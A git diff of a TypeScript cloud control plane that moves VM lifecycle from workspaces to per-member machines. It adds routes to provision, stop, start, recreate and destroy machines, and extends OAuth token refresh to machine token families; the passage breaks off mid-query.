diff --git a/packages/control-plane/core/janitors.ts b/packages/control-plane/core/janitors.ts index 1ce52611..a15f1c90 100644 --- a/packages/control-plane/core/janitors.ts +++ b/packages/control-plane/core/janitors.ts @@ -1,10 +1,10 @@ import { changed, rows, transaction } from "./db.js"; import { - revokeWorkspaceLeasesQuery, + revokeMachineLeasesQuery, runLeaseSweep, } from "./connections/leases.js"; import type { CoreRuntime } from "./runtime.js"; -import type { WorkspaceRow } from "./workspaces.js"; +import type { MachineRow } from "./workspace-records.js"; import { expiredVolumes, markVolumeDetachedQuery, @@ -22,6 +22,7 @@ const LAZY_SWEEP_PREFIXES = [ "/workspaces", "/volumes", "/machine-types", + "/machines", "/oauth/", "/boxes/", "/connections", @@ -38,11 +39,14 @@ function sweepPath(path: string): boolean { ); } +/** VMs whose machine has already left. It iterates `machines` now: a workspace + * has no VM of its own, and a workspace with five members has five of them. */ export async function runOrphanSweep(runtime: CoreRuntime): Promise { - const result = await rows(runtime.db, { - q: `SELECT * FROM workspaces - WHERE vm_id IS NOT NULL AND phase IN ('destroying', 'destroyed') - ORDER BY updated_at, id`, + const result = await rows(runtime.db, { + q: `SELECT m.*, w.org_id AS org_id + FROM machines m JOIN workspaces w ON w.id = m.workspace_id + WHERE m.vm_id IS NOT NULL AND m.state IN ('destroying', 'destroyed') + ORDER BY m.updated_at, m.id`, v: [], }); let destroyed = 0; @@ -53,7 +57,8 @@ export async function runOrphanSweep(runtime: CoreRuntime): Promise { // TODO(house-canon): Route structured core logs through the canonical logger. console.error(JSON.stringify({ message: "orphan sweep skipped VM with no owning provider", - workspaceId: row.id, + machineId: row.id, + workspaceId: row.workspace_id, vmId: row.vm_id, })); continue; @@ -61,7 +66,7 @@ export async function runOrphanSweep(runtime: CoreRuntime): Promise { if (row.org_id === null) { runtime.reportError( "orphan_sweep_compute_credential_skipped", - new Error(`workspace ${row.id} has no organization for provider ${owner.id}`), + new Error(`machine ${row.id} has no organization for provider ${owner.id}`), ); continue; } @@ -69,7 +74,7 @@ export async function runOrphanSweep(runtime: CoreRuntime): Promise { const resolved = await runtime.providers.vmRegistry.resolveVmId( row.vm_id, row.org_id, - row.compute_credential_source ?? "deployment", + row.compute_credential_source, ); if (resolved === undefined) continue; const provider = resolved.provider; @@ -77,7 +82,7 @@ export async function runOrphanSweep(runtime: CoreRuntime): Promise { await provider.shutdown(row.vm_id); const volume = await runtime.providers.volume.forOrg( row.org_id, - row.compute_credential_source ?? "deployment", + row.compute_credential_source, ); await volume.provider.detachVolume(row.volume_id, row.vm_id); await rows(runtime.db, markVolumeDetachedQuery(row.volume_id, Date.now())); @@ -89,21 +94,21 @@ export async function runOrphanSweep(runtime: CoreRuntime): Promise { const detail = error instanceof Error ? error.message : "provider operation failed"; runtime.reportError( "orphan_sweep_compute_credential_skipped", - new Error(`workspace ${row.id} provider ${owner.id}: ${detail}`), + new Error(`machine ${row.id} provider ${owner.id}: ${detail}`), ); continue; } - if (row.phase === "destroying") { + if (row.state === "destroying") { const transition = await transaction(runtime.db, [ - revokeWorkspaceLeasesQuery(row.id), - { q: "DELETE FROM boxes WHERE workspace_id = ?1", v: [row.id] }, - { q: "DELETE FROM webapp_state WHERE workspace_id = ?1", v: [row.id] }, + revokeMachineLeasesQuery(row.id), + { q: "DELETE FROM machine_token_families WHERE machine_id = ?1", v: [row.id] }, + { q: "DELETE FROM broker_keys WHERE machine_id = ?1", v: [row.id] }, { - q: `UPDATE workspaces - SET phase = 'destroyed', vm_id = NULL, ssh_host = NULL, ssh_port = NULL, + q: `UPDATE machines + SET state = 'destroyed', vm_id = NULL, ssh_host = NULL, ssh_port = NULL, ssh_user = NULL, ssh_host_public_key = NULL, error = NULL, - revision = revision + 1, updated_at = ?1 - WHERE id = ?2 AND phase = 'destroying' + updated_at = ?1 + WHERE id = ?2 AND state = 'destroying' RETURNING id`, v: [Date.now(), row.id], }, @@ -111,7 +116,7 @@ export async function runOrphanSweep(runtime: CoreRuntime): Promise { if (transition[3]?.length !== 1) continue; } else { await rows(runtime.db, { - q: "UPDATE workspaces SET vm_id = NULL WHERE id = ?1", + q: "UPDATE machines SET vm_id = NULL WHERE id = ?1", v: [row.id], }); } @@ -162,7 +167,7 @@ export async function runVolumeRetentionSweep( v: [row.volume_id], }, { - q: "UPDATE workspaces SET volume_id = NULL WHERE volume_id = ?1", + q: "UPDATE machines SET volume_id = NULL WHERE volume_id = ?1", v: [row.volume_id], }, ]); @@ -174,10 +179,10 @@ export async function runVolumeRetentionSweep( export async function runWorkspaceTunnelSweep(runtime: CoreRuntime): Promise { const workspaceTunnels = runtime.providers.workspaceTunnels; if (workspaceTunnels === undefined) return 0; - const result = await rows(runtime.db, { - q: `SELECT * FROM workspaces + const result = await rows(runtime.db, { + q: `SELECT * FROM machines WHERE (tunnel_id IS NOT NULL OR dns_record_id IS NOT NULL) - AND phase IN ('destroying', 'destroyed', 'error') + AND state IN ('destroying', 'destroyed', 'error') ORDER BY updated_at, id`, v: [], }); @@ -188,7 +193,7 @@ export async function runWorkspaceTunnelSweep(runtime: CoreRuntime): Promise { return changed(runtime.db, { - q: `UPDATE workspaces - SET phase = 'error', error = 'workspace creation timed out', - phone_home_hash = NULL, revision = revision + 1, updated_at = ?1 - WHERE phase = 'creating' AND updated_at < ?2 + q: `UPDATE machines + SET state = 'error', error = 'machine creation timed out', + phone_home_hash = NULL, updated_at = ?1 + WHERE state = 'provisioning' AND updated_at < ?2 RETURNING id`, v: [now, now - STUCK_CREATING_MS], }); diff --git a/packages/control-plane/core/machines.ts b/packages/control-plane/core/machines.ts new file mode 100644 index 00000000..0f03d2e9 --- /dev/null +++ b/packages/control-plane/core/machines.ts @@ -0,0 +1,683 @@ +import { boxHostname, type RecipeBootstrap } from "./bootstrap.js"; +import { buildUserData, type BootShaping } from "./cloud-init.js"; +import { revokeMachineLeasesQuery } from "./connections/leases.js"; +import { hashSecret, randomToken } from "./crypto.js"; +import { first, rows, transaction, type Db, type Query } from "./db.js"; +import { HttpError, isRecord, readJson, requiredString, type JsonValue } from "./http.js"; +import type { Principal } from "./principals.js"; +import type { CoreContext, CoreRouter, CoreRuntime, RuntimeFactory } from "./runtime.js"; +import type { CreateVmInput, VmProvider } from "./compute/types.js"; +import { resolveWorkspacePlacement } from "./compute/workspace-placement.js"; +import { workspaceRepos } from "./template-repos.js"; +import { + isWorkspaceAdmin, + requireWorkspaceAdmin, + workspaceAccess, +} from "./workspace-access.js"; +import { + MACHINE_SLOT_STATES, + machineView, + workspaceById, + type MachineRow, + type WorkspaceRow, +} from "./workspace-records.js"; +import { + markVolumeAttachedQuery, + markVolumeDetachedQuery, + provisionWorkspaceVolume, +} from "./workspace-volumes.js"; +import type { MachineResponse, MachineState, SetMachineTypeRequest } from "./wire.js"; + +const MACHINE_ERROR_MAX_LENGTH = 1_024; + +/** Machine states a lifecycle verb may act on. `destroying` and `destroyed` + * are already on their way out, and a second verb on top of them races the + * janitor rather than doing anything. */ +const LIVE_STATES: readonly MachineState[] = ["provisioning", "running", "stopped", "error"]; + +export function providerForVmId(runtime: CoreRuntime, vmId: string): VmProvider { + const provider = runtime.providers.vmRegistry.forVmId(vmId); + if (provider === undefined) { + throw new HttpError(409, `no VM provider owns VM ID ${vmId}`); + } + return provider; +} + +export function providerOperationError(error: unknown): string { + if (!(error instanceof Error)) return "provider operation failed"; + const detail = error.message.replace(/[\u0000-\u001f\u007f]+/gu, " ").trim(); + return detail === "" ? "provider operation failed" : `provider operation failed: ${detail}`; +} + +export async function machineById(db: Db, id: string): Promise { + return first(db, { q: "SELECT * FROM machines WHERE id = ?1 LIMIT 1", v: [id] }); +} + +export async function machineFor( + db: Db, + workspaceId: string, + membershipId: string, +): Promise { + return first(db, { + q: "SELECT * FROM machines WHERE workspace_id = ?1 AND membership_id = ?2 LIMIT 1", + v: [workspaceId, membershipId], + }); +} + +/** Every token family this machine has ever held stops working. + * + * A VM destroy is the revocation event: the guest that held the credential no + * longer exists, and its disk may outlive it on a volume. The `vm_id` stamp + * fences a guest that is still running somewhere; deleting the row is what + * stops it minting. */ +function revokeMachineTokensQuery(machineId: string): Query { + return { q: "DELETE FROM machine_token_families WHERE machine_id = ?1", v: [machineId] }; +} + +/** Arms a fresh phone-home capability for the next boot. The capability is + * per machine and re-armed at every VM provision, so a stale URL from a + * previous incarnation cannot enroll a new one. */ +async function armPhoneHome(db: Db, machineId: string, now: number): Promise { + const capability = randomToken(); + await rows(db, { + q: `UPDATE machines + SET phone_home_hash = ?1, phone_home_used = 0, updated_at = ?2 + WHERE id = ?3`, + v: [await hashSecret(capability), now, machineId], + }); + return capability; +} + +async function markMachineError( + runtime: CoreRuntime, + machineId: string, + message: string, +): Promise { + await rows(runtime.db, { + q: `UPDATE machines + SET state = 'error', error = ?1, phone_home_hash = NULL, updated_at = ?2 + WHERE id = ?3`, + v: [message.slice(0, MACHINE_ERROR_MAX_LENGTH), Date.now(), machineId], + }); + await touchWorkspace(runtime.db, machineId); + const row = await machineById(runtime.db, machineId); + if (row === null) throw new Error("machine disappeared during provision"); + return row; +} + +/** Bumps the workspace revision so a poller sees the machine change. The + * workspace has no lifecycle of its own, but it is still the row clients + * watch, and a revision that never moves is a poll that never converges. */ +async function touchWorkspace(db: Db, machineId: string): Promise { + await rows(db, { + q: `UPDATE workspaces SET revision = revision + 1, updated_at = ?1 + WHERE id = (SELECT workspace_id FROM machines WHERE id = ?2)`, + v: [Date.now(), machineId], + }); +} + +export interface ProvisionMachineInput { + workspace: WorkspaceRow; + membershipId: string; + /** The type this machine takes. Defaulted by the caller from the workspace + * default or a per-member override; never re-derived here. */ + machineTypeId: string; + requestOrigin: string; + sshPublicKey?: string; + userData?: string; + /** A volume to reuse instead of creating one: a recreate or a machine-type + * change keeps the member's disk. */ + volumeId?: string; + /** An existing machine row to bring back up, instead of inserting one. */ + machineId?: string; + recipe?: RecipeBootstrap; +} + +/** + * Creates one member's VM and everything it needs. + * + * This is the one path a member's machine is ever created on: workspace + * create, member add, provision, recreate, and the start that follows a + * machine-type change all land here. A provider failure lands the machine in `error` with + * the detail on the row rather than throwing, exactly as the workspace create + * path always did — except a 413 (user data too large) and a 503 (no + * capacity), which are request-shaped and thrown so the caller can answer. + */ +export async function provisionMachine( + runtime: CoreRuntime, + input: ProvisionMachineInput, +): Promise { + const workspace = input.workspace; + const orgId = workspace.org_id; + if (orgId === null) throw new HttpError(409, "workspace has no organization"); + const vmResolution = await resolveWorkspacePlacement( + runtime.db, + runtime.providers.vmRegistry, + orgId, + input.machineTypeId, + input.volumeId, + ); + const vmProvider = vmResolution.provider; + const providerCapabilities = vmProvider.capabilities(); + const name = workspace.name ?? workspace.id; + const now = Date.now(); + const id = input.machineId ?? crypto.randomUUID(); + + if (input.machineId === undefined) { + // The vm_limit gate lives inside the INSERT so two creates racing the last + // slot cannot both win it. It counts machines, not workspaces: a workspace + // is free and a VM is not. + const inserted = await rows(runtime.db, { + q: `INSERT INTO machines + (id, workspace_id, membership_id, state, machine_type_id, + compute_credential_source, volume_id, created_at, updated_at) + SELECT ?1, ?2, ?3, 'provisioning', ?4, ?5, ?6, ?7, ?7 + WHERE ( + SELECT COUNT(*) FROM machines m + JOIN workspaces w ON w.id = m.workspace_id + WHERE w.org_id = ?8 AND m.state IN (${MACHINE_SLOT_STATES}) + ) < (SELECT vm_limit FROM orgs WHERE id = ?8) + RETURNING id`, + v: [ + id, + workspace.id, + input.membershipId, + input.machineTypeId, + vmResolution.credentialSource ?? "deployment", + input.volumeId ?? null, + now, + orgId, + ], + }); + if (inserted.length !== 1) { + throw new HttpError( + 409, + "organization workspace quota reached; destroy an existing workspace before creating another", + ); + } + } else { + await rows(runtime.db, { + q: `UPDATE machines + SET state = 'provisioning', error = NULL, machine_type_id = ?1, + compute_credential_source = ?2, vm_id = NULL, ssh_host = NULL, + ssh_port = NULL, ssh_user = NULL, ssh_host_public_key = NULL, + updated_at = ?3 + WHERE id = ?4`, + v: [ + input.machineTypeId, + vmResolution.credentialSource ?? "deployment", + now, + id, + ], + }); + } + + const capability = await armPhoneHome(runtime.db, id, now); + // The URL keeps its workspace shape. Every deployed guest holds one it was + // handed at creation and never updates it, and the route resolves the + // machine by matching the capability hash, so one route serves both. + const phoneHomeUrl = `${input.requestOrigin}/workspaces/${workspace.id}/phone-home/${capability}`; + + const orgCapture = await first<{ usage_capture: number }>(runtime.db, { + q: "SELECT usage_capture FROM orgs WHERE id = ?1 LIMIT 1", + v: [orgId], + }); + const shaping: BootShaping = { usageCapture: orgCapture?.usage_capture === 1 }; + const providerAptSetup = vmProvider.bootstrapAptSetup?.(); + if (providerAptSetup !== undefined) shaping.providerAptSetup = providerAptSetup; + if (input.recipe !== undefined) shaping.recipe = input.recipe; + const repos = await workspaceRepos(runtime.db, workspace.id); + if (repos.length > 0) shaping.repos = repos.map(({ repo }) => repo); + shaping.boxHostname = boxHostname(name, workspace.id); + + let autoVolumeId: string | undefined; + try { + const baseUserData = buildUserData( + input.sshPublicKey, + phoneHomeUrl, + runtime.vars.boxImageRef, + input.userData, + runtime.vars.boxImageTag, + runtime.vars.boxImageSha256, + undefined, + shaping, + ); + const maxUserDataBytes = providerCapabilities.maxUserDataBytes ?? null; + if (maxUserDataBytes !== null) { + const encoder = new TextEncoder(); + const callerBytes = encoder.encode(input.userData ?? "").byteLength; + const totalBytes = encoder.encode(baseUserData).byteLength; + const generatedBytes = totalBytes - callerBytes; + if (totalBytes > maxUserDataBytes) { + throw new HttpError( + 413, + `userData exceeds the provider limit: caller UTF-8 bytes ${callerBytes} + generated bootstrap bytes ${generatedBytes} = ${totalBytes} > ${maxUserDataBytes}`, + ); + } + } + // The member's own disk. It holds /var/lib/blitz, which is the docker + // store and /workspace both, so a destroyed machine can come back on it. + const autoVolume = input.volumeId !== undefined + ? null + : await provisionWorkspaceVolume({ + db: runtime.db, + provider: vmProvider, + createVolume: async (volumeName, sizeGb, location) => { + const resolved = await runtime.providers.volume.forOrg( + orgId, + vmResolution.credentialSource, + ); + return resolved.provider.createVolume({ name: volumeName, sizeGb, location }); + }, + deleteVolume: async (volumeId) => { + const resolved = await runtime.providers.volume.forOrg( + orgId, + vmResolution.credentialSource, + ); + await resolved.provider.deleteVolume(volumeId); + }, + workspaceId: workspace.id, + machineId: id, + workspaceName: name, + machineTypeId: input.machineTypeId, + orgId, + membershipId: input.membershipId, + credentialSource: vmResolution.credentialSource, + now: Date.now(), + }); + if (autoVolume !== null) { + autoVolumeId = autoVolume.id; + await rows(runtime.db, { + q: "UPDATE machines SET volume_id = ?1, updated_at = ?2 WHERE id = ?3", + v: [autoVolume.id, Date.now(), id], + }); + } + const volumeId = input.volumeId ?? autoVolume?.id; + const workspaceTunnels = runtime.providers.workspaceTunnels; + const existing = await machineById(runtime.db, id); + // A machine keeps the tunnel it already has: the hostname is baked into + // the guest's cloudflared config, and re-provisioning one would orphan the + // old Cloudflare resources. + const tunnel = workspaceTunnels !== undefined + && vmProvider.proxyWebApp === undefined + && (existing?.tunnel_id ?? null) === null + ? await workspaceTunnels.provision(runtime.db, id, workspace.id) + : undefined; + const userData = tunnel === undefined + ? baseUserData + : buildUserData( + input.sshPublicKey, + phoneHomeUrl, + runtime.vars.boxImageRef, + input.userData, + runtime.vars.boxImageTag, + runtime.vars.boxImageSha256, + tunnel, + shaping, + ); + const attachesAtCreate = providerCapabilities.attachesVolumesAtCreate === true; + const createInput: CreateVmInput = { + workspaceId: workspace.id, + machineId: id, + machineTypeId: input.machineTypeId, + sshPublicKey: input.sshPublicKey, + phoneHomeUrl, + userData, + }; + if (attachesAtCreate && volumeId !== undefined) createInput.volumeIds = [volumeId]; + const vm = await vmProvider.createVm(createInput); + await rows(runtime.db, { + q: "UPDATE machines SET vm_id = ?1, updated_at = ?2 WHERE id = ?3", + v: [vm.id, Date.now(), id], + }); + if (volumeId !== undefined && !attachesAtCreate) { + const volume = await runtime.providers.volume.forOrg(orgId, vmResolution.credentialSource); + await volume.provider.attachVolume(volumeId, vm.id); + } + if (volumeId !== undefined) { + await rows(runtime.db, markVolumeAttachedQuery(volumeId)); + } + await rows(runtime.db, { + q: `UPDATE machines + SET ssh_host = ?1, ssh_port = ?2, ssh_user = ?3, updated_at = ?4 + WHERE id = ?5`, + v: [vm.host, vm.port, vm.user, Date.now(), id], + }); + } catch (error) { + if (autoVolumeId !== undefined) { + try { + const resolved = await runtime.providers.volume.forOrg( + orgId, + vmResolution.credentialSource, + ); + await resolved.provider.deleteVolume(autoVolumeId); + await transaction(runtime.db, [ + { + q: "DELETE FROM volume_ownership WHERE volume_id = ?1 AND org_id = ?2", + v: [autoVolumeId, orgId], + }, + { q: "UPDATE machines SET volume_id = NULL WHERE id = ?1", v: [id] }, + ]); + } catch (cleanupError) { + runtime.reportError( + "machine_provision_volume_cleanup_failed", + cleanupError instanceof Error + ? cleanupError + : new Error(`volume ${autoVolumeId} survived a failed provision`), + ); + } + } + if (error instanceof HttpError && (error.status === 503 || error.status === 413)) { + // Nothing was created, so nothing is left to reclaim. The row goes and + // the caller answers with the provider's own refusal. + await rows(runtime.db, { q: "DELETE FROM machines WHERE id = ?1", v: [id] }); + throw error; + } + return markMachineError(runtime, id, providerOperationError(error)); + } + await touchWorkspace(runtime.db, id); + const row = await machineById(runtime.db, id); + if (row === null) throw new Error("machine disappeared during provision"); + return row; +} + +/** Destroys the VM incarnation and, unless `keepVolume`, starts the volume's + * retention clock. The machine row survives in `state`. */ +async function destroyVm( + runtime: CoreRuntime, + machine: MachineRow, + options: { keepVolume: boolean }, +): Promise { + const workspace = await workspaceById(runtime.db, machine.workspace_id); + const orgId = workspace?.org_id ?? null; + if (machine.vm_id === null || orgId === null) return; + const resolved = await runtime.providers.vmRegistry.resolveVmId( + machine.vm_id, + orgId, + machine.compute_credential_source, + ); + if (resolved === undefined) { + throw new HttpError(409, `no VM provider owns VM ID ${machine.vm_id}`); + } + if (machine.volume_id !== null) { + await resolved.provider.shutdown(machine.vm_id); + const volume = await runtime.providers.volume.forOrg( + orgId, + machine.compute_credential_source, + ); + await volume.provider.detachVolume(machine.volume_id, machine.vm_id); + if (!options.keepVolume) { + await rows(runtime.db, markVolumeDetachedQuery(machine.volume_id, Date.now())); + } + } + await resolved.provider.destroy(machine.vm_id); +} + +export interface DestroyMachineOptions { + /** Keep the machine row and its volume, so a new VM can come back on the + * same disk. This is what a machine-type change and a recreate do. */ + keepRow: boolean; +} + +/** + * Takes a machine down. + * + * The token families go first, so a guest that is still running cannot mint + * anything on its way out. Cloudflare resources are cleaned before the state + * flips, and a failure there leaves the row in `destroying` for the janitor, + * which is the same honest-destroy shape the workspace destroy always had. + */ +export async function destroyMachine( + runtime: CoreRuntime, + machine: MachineRow, + options: DestroyMachineOptions = { keepRow: false }, +): Promise { + await rows(runtime.db, { + q: `UPDATE machines + SET state = 'destroying', error = NULL, phone_home_hash = NULL, updated_at = ?1 + WHERE id = ?2 AND state IN ('provisioning', 'running', 'stopped', 'error')`, + v: [Date.now(), machine.id], + }); + await rows(runtime.db, revokeMachineTokensQuery(machine.id)); + await destroyVm(runtime, machine, { keepVolume: options.keepRow }); + + const workspaceTunnels = runtime.providers.workspaceTunnels; + if (workspaceTunnels !== undefined && !options.keepRow) { + const cleanup = await workspaceTunnels.cleanup(runtime.db, machine); + if (cleanup.errors.length > 0) { + const pending = await machineById(runtime.db, machine.id); + if (pending === null) throw new Error("machine disappeared during destroy"); + return pending; + } + } + + await transaction(runtime.db, [ + revokeMachineLeasesQuery(machine.id), + // The guest's authorized_keys lines go with the VM. Destroy stays the + // revocation path for the broker: the keys leave, and the member's account + // survives because the feed is driven by `broker_members`, not by keys. + { q: "DELETE FROM broker_keys WHERE machine_id = ?1", v: [machine.id] }, + { + q: `UPDATE machines + SET state = ?1, vm_id = NULL, ssh_host = NULL, ssh_port = NULL, + ssh_user = NULL, ssh_host_public_key = NULL, error = NULL, + updated_at = ?2 + WHERE id = ?3 AND state = 'destroying'`, + v: [options.keepRow ? "stopped" : "destroyed", Date.now(), machine.id], + }, + ]); + await touchWorkspace(runtime.db, machine.id); + const row = await machineById(runtime.db, machine.id); + if (row === null) throw new Error("machine disappeared after destroy"); + return row; +} + +/** Every machine of one workspace, live states only. */ +export async function liveMachines(db: Db, workspaceId: string): Promise { + return rows(db, { + q: `SELECT * FROM machines + WHERE workspace_id = ?1 AND state != 'destroyed' + ORDER BY created_at, id`, + v: [workspaceId], + }); +} + +function parseSetMachineType(value: JsonValue): SetMachineTypeRequest { + if (!isRecord(value)) throw new HttpError(400, "request body must be an object"); + return { machineTypeId: requiredString(value.machineTypeId, "machineTypeId", 256) }; +} + +/** The location a provider places this machine type's volume in, or null when + * it cannot say. A cross-location change needs a volume move, which is + * deferred (plan §5), so a null on either side is treated as unknown and the + * change is refused rather than guessed at. */ +function volumeLocationFor(provider: VmProvider, machineTypeId: string): string | null { + return provider.volumeLocation?.(machineTypeId) ?? null; +} + +/** The provision input for a machine that already has a row: bring this one + * back up on the type and volume it holds. Built in statements rather than + * spreads, because `volumeId` is genuinely absent on a machine that never got + * a disk and an empty spread hides that. */ +function reprovisionInput( + workspace: WorkspaceRow, + machine: MachineRow, + machineTypeId: string, + requestOrigin: string, +): ProvisionMachineInput { + const input: ProvisionMachineInput = { + workspace, + membershipId: machine.membership_id, + machineTypeId, + requestOrigin, + machineId: machine.id, + }; + if (machine.volume_id !== null) input.volumeId = machine.volume_id; + return input; +} + +interface MachineTarget { + workspace: WorkspaceRow; + machine: MachineRow; + admin: boolean; +} + +export function addMachineRoutes( + router: CoreRouter, + runtimeFactory: RuntimeFactory, + requirePrincipal: (context: CoreContext) => Promise, +): void { + /** Resolves the machine a verb names and grades the caller against §3. + * + * `own` is what a plain member may do to their own machine (stop, start). + * Everything else is workspace-admin work, and an org admin passes through + * implicit reach. */ + async function target( + context: CoreContext, + runtime: CoreRuntime, + scope: "admin" | "own", + ): Promise { + const principal = await requirePrincipal(context); + const machine = await machineById(runtime.db, context.req.param("machineId")); + if (machine === null) throw new HttpError(404, "machine not found"); + const workspace = await workspaceById(runtime.db, machine.workspace_id); + if (workspace === null || workspace.org_id !== principal.orgId) { + throw new HttpError(404, "machine not found"); + } + const access = await workspaceAccess(runtime.db, principal, workspace); + const admin = isWorkspaceAdmin(access); + if (!admin) { + if (scope === "admin") throw new HttpError(403, "workspace admin required"); + if (access.stored !== "member" || machine.membership_id !== principal.membershipId) { + throw new HttpError(403, "forbidden"); + } + } + return { workspace, machine, admin, principal }; + } + + /** Brings up a machine that has no VM. A member whose workspace has + * `auto_provision` off lands here on first open. */ + router.post("/machines/:machineId/provision", async (context) => { + const runtime = runtimeFactory(context); + const { workspace, machine } = await target(context, runtime, "own"); + if (machine.vm_id !== null) throw new HttpError(409, "machine already has a VM"); + if (!LIVE_STATES.includes(machine.state) && machine.state !== "destroyed") { + throw new HttpError(409, `machine is ${machine.state}`); + } + const provisioned = await provisionMachine(runtime, reprovisionInput( + workspace, + machine, + machine.machine_type_id, + new URL(context.req.url).origin, + )); + return context.json({ machine: machineView(provisioned) }); + }); + + /** Stop keeps the disk and the machine row. The VM goes, because a stopped + * cloud VM still bills for itself on most providers and the volume is where + * the state actually lives (#88). */ + router.post("/machines/:machineId/stop", async (context) => { + const runtime = runtimeFactory(context); + const { machine } = await target(context, runtime, "own"); + if (machine.state === "stopped") { + return context.json({ machine: machineView(machine) }); + } + if (!LIVE_STATES.includes(machine.state)) { + throw new HttpError(409, `machine is ${machine.state}`); + } + const stopped = await destroyMachine(runtime, machine, { keepRow: true }); + return context.json({ machine: machineView(stopped) }); + }); + + router.post("/machines/:machineId/start", async (context) => { + const runtime = runtimeFactory(context); + const { workspace, machine } = await target(context, runtime, "own"); + if (machine.vm_id !== null) { + return context.json({ machine: machineView(machine) }); + } + if (machine.state === "destroying" || machine.state === "destroyed") { + throw new HttpError(409, `machine is ${machine.state}`); + } + const started = await provisionMachine(runtime, reprovisionInput( + workspace, + machine, + machine.machine_type_id, + new URL(context.req.url).origin, + )); + return context.json({ machine: machineView(started) }); + }); + + /** Replaces the VM on the same volume. Sessions restart; disk state + * survives. Workspace-admin only, because it interrupts whoever is working + * on that machine. */ + router.post("/machines/:machineId/recreate", async (context) => { + const runtime = runtimeFactory(context); + const { workspace, machine } = await target(context, runtime, "admin"); + if (machine.state === "destroying") throw new HttpError(409, "machine is destroying"); + const stopped = await destroyMachine(runtime, machine, { keepRow: true }); + const recreated = await provisionMachine(runtime, reprovisionInput( + workspace, + stopped, + machine.machine_type_id, + new URL(context.req.url).origin, + )); + return context.json({ machine: machineView(recreated) }); + }); + + /** + * The machine-type change (§1a). + * + * The VM is an incarnation and the volume is the machine, so this destroys + * the first and keeps the second. A type in another location is refused: + * a volume attaches only inside its own location, and moving one needs a + * snapshot-and-restore that is deferred (§5). + */ + router.post("/machines/:machineId/machine-type", async (context) => { + const runtime = runtimeFactory(context); + const { workspace, machine } = await target(context, runtime, "admin"); + const input = parseSetMachineType(await readJson(context.req.raw, 4 * 1024)); + if (input.machineTypeId === machine.machine_type_id) { + return context.json({ machine: machineView(machine) }); + } + if (machine.state === "destroying" || machine.state === "destroyed") { + throw new HttpError(409, `machine is ${machine.state}`); + } + const orgId = workspace.org_id; + if (orgId === null) throw new HttpError(409, "workspace has no organization"); + const next = await runtime.providers.vmRegistry.forMachineType(input.machineTypeId, orgId); + if (machine.volume_id !== null) { + const current = await runtime.providers.vmRegistry.forMachineType( + machine.machine_type_id, + orgId, + ); + const from = volumeLocationFor(current.provider, machine.machine_type_id); + const to = volumeLocationFor(next.provider, input.machineTypeId); + if (from === null || to === null || from !== to) { + throw new HttpError( + 409, + `the volume is in ${from ?? "an unknown location"}; moving a machine to another location is not supported yet`, + ); + } + } + const stopped = await destroyMachine(runtime, machine, { keepRow: true }); + const changed = await provisionMachine(runtime, reprovisionInput( + workspace, + stopped, + input.machineTypeId, + new URL(context.req.url).origin, + )); + return context.json({ machine: machineView(changed) }); + }); + + router.delete("/machines/:machineId", async (context) => { + const runtime = runtimeFactory(context); + const { machine } = await target(context, runtime, "admin"); + if (machine.state === "destroyed") { + return context.json({ machine: machineView(machine) }); + } + const destroyed = await destroyMachine(runtime, machine); + return context.json({ machine: machineView(destroyed) }); + }); +} + +export { requireWorkspaceAdmin }; diff --git a/packages/control-plane/core/oauth.ts b/packages/control-plane/core/oauth.ts index ade28968..ecf71bca 100644 --- a/packages/control-plane/core/oauth.ts +++ b/packages/control-plane/core/oauth.ts @@ -47,6 +47,7 @@ interface BoxTokenRow { id: string; principal_id: string; workspace_id: string | null; + membership_id: string | null; is_broker: number; platform_operator: number; } @@ -54,6 +55,9 @@ interface BoxTokenRow { interface RefreshRow extends BoxTokenRow { previous_refresh_hash: string | null; previous_rotated_at: number | null; + /** Set on a machine family only: which table the row came from, so the + * rotation writes back to the one that holds it. */ + family: "machine" | "box"; } export interface IssuedBoxTokens { @@ -64,7 +68,7 @@ export interface IssuedBoxTokens { expiresIn: number; } -export async function issueBoxTokens(): Promise { +export async function issueMachineTokens(): Promise { const accessToken = randomToken(); const refreshToken = randomToken(); const [accessHash, refreshHash] = await Promise.all([ @@ -134,38 +138,36 @@ async function refreshGrant( const db = runtimeFactory(context).db; const oldHash = await hashSecret(refreshToken); const now = Date.now(); - const row = await first(db, { - q: `SELECT f.access_hash, f.refresh_hash, f.access_issued_at, - f.previous_refresh_hash, f.previous_rotated_at, - b.id, b.principal_id, b.workspace_id, b.is_broker - FROM box_token_families f JOIN boxes b ON b.id = f.box_id - WHERE f.refresh_hash = ?1 OR f.previous_refresh_hash = ?1 LIMIT 1`, - v: [oldHash], - }); + // A machine and a box present the same kind of token, so both families are + // asked. The machine family is the workspace guest; `box_token_families` is + // what is left of the old table — brokers and device-code enrolments. + const row = await machineRefreshRow(db, oldHash) ?? await boxRefreshRow(db, oldHash); const slot = row === null ? null : await refreshSlot(refreshToken, row, now); if (row === null || slot === null) return oauthError(context, "invalid_grant"); - const tokens = await issueBoxTokens(); + const tokens = await issueMachineTokens(); // The WHERE is a compare-and-swap on the hash this request read, so two // boxes racing the same rotation cannot both win it. The loser reads // invalid_grant and retries; by then the file it re-reads holds the winner's // pair, or its own token sits in the grace slot. + const table = row.family === "machine" ? "machine_token_families" : "box_token_families"; + const key = row.family === "machine" ? "machine_id" : "box_id"; const count = await changed(db, slot === "current" ? { - q: `UPDATE box_token_families + q: `UPDATE ${table} SET access_hash = ?1, refresh_hash = ?2, access_issued_at = ?3, previous_refresh_hash = ?5, previous_rotated_at = ?3, generation = generation + 1 - WHERE box_id = ?4 AND refresh_hash = ?5 - RETURNING box_id`, + WHERE ${key} = ?4 AND refresh_hash = ?5 + RETURNING ${key}`, v: [tokens.accessHash, tokens.refreshHash, now, row.id, row.refresh_hash], } : { - q: `UPDATE box_token_families + q: `UPDATE ${table} SET access_hash = ?1, refresh_hash = ?2, access_issued_at = ?3, generation = generation + 1 - WHERE box_id = ?4 AND refresh_hash = ?5 - RETURNING box_id`, + WHERE ${key} = ?4 AND refresh_hash = ?5 + RETURNING ${key}`, v: [tokens.accessHash, tokens.refreshHash, now, row.id, row.refresh_hash], }); if (count !== 1) return oauthError(context, "invalid_grant"); @@ -195,6 +197,44 @@ async function refreshSlot( return now - row.previous_rotated_at < REFRESH_GRACE_MS ? "previous" : null; } +/** A machine family, joined to the identity the machine acts as RIGHT NOW. + * + * The acting principal is derived here, at call time, from + * `machines.membership_id`. It is never stored beside the credential: the row + * that used to hold it (`boxes.principal_id`) pinned the workspace OWNER, so + * every member's guest minted as one person and every audit row was written in + * that person's name. There is nothing left to go stale. */ +async function machineRefreshRow(db: Db, hash: string): Promise { + return first(db, { + q: `SELECT f.access_hash, f.refresh_hash, 